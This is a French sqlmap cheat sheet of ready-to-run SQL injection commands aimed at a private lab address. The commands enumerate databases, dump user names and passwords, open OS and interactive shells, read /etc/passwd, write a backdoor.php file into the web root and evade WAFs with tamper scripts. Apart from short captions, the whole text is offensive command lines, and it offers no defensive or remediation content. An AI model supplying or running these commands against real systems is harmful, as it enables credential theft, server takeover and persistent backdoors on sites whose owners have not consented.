SqlMAP
🔍 Détection et Identification
Tester une URL vulnérable à l'injection SQL :
sqlmap -u "http://192.168.56.102/login.php?id=1" --batch --dbs
Détection avec POST data :
sqlmap -u "http://192.168.56.102/login.php" --data "username=admin&password=test" --batch --dbs
Détection avec Cookie :
sqlmap -u "http://192.168.56.102/login.php" --cookie="PHPSESSID=abcd1234" --batch --dbs
Lister les bases de données disponibles :
sqlmap -u "http://192.168.56.102/login.php?id=1" --dbs
Lister les tables d'une base de données spécifique :
sqlmap -u "http://192.168.56.102/login.php?id=1" -D database_name --tables
Lister les colonnes d'une table spécifique :
sqlmap -u "http://192.168.56.102/login.php?id=1" -D database_name -T table_name --columns
sqlmap -u "http://192.168.56.102/login.php?id=1" -D database_name -T table_name --dump
🔑 Exfiltration de Données Sensibles
sqlmap -u "http://192.168.56.102/login.php?id=1" -D database_name -T users --dump
sqlmap -u "http://192.168.56.102/login.php?id=1" -D database_name -T users -C username --dump
sqlmap -u "http://192.168.56.102/login.php?id=1" -D database_name -T users -C password --dump
🔥 Prise de Contrôle et Exécution de Commandes
Vérifier si le serveur permet l'exécution de commandes :
sqlmap -u "http://192.168.56.102/login.php?id=1" --os-shell
Obtenir un shell interactif :
sqlmap -u "http://192.168.56.102/login.php?id=1" --os-pwn
Lire un fichier sensible (ex: /etc/passwd) :
sqlmap -u "http://192.168.56.102/login.php?id=1" --file-read="/etc/passwd"
Écrire un fichier sur le serveur :
sqlmap -u "http://192.168.56.102/login.php?id=1" --file-write="/var/www/html/backdoor.php" --file-dest="/var/www/html/backdoor.php"
⚙️ Évasion et contournement
Utiliser différents niveaux de tests (plus agressif) :
sqlmap -u "http://192.168.56.102/login.php?id=1" --level=5 --risk=3
Bypasser un WAF :
sqlmap -u "http://192.168.56.102/login.php?id=1" --tamper=space2comment
Essayer différentes techniques d'injection :
sqlmap -u "http://192.168.56.102/login.php?id=1" --technique=BEUST
Tester si la connexion est authentifiée avec une session :
sqlmap -u "http://192.168.56.102/login.php?id=1" --cookie="session=xyz" --dbs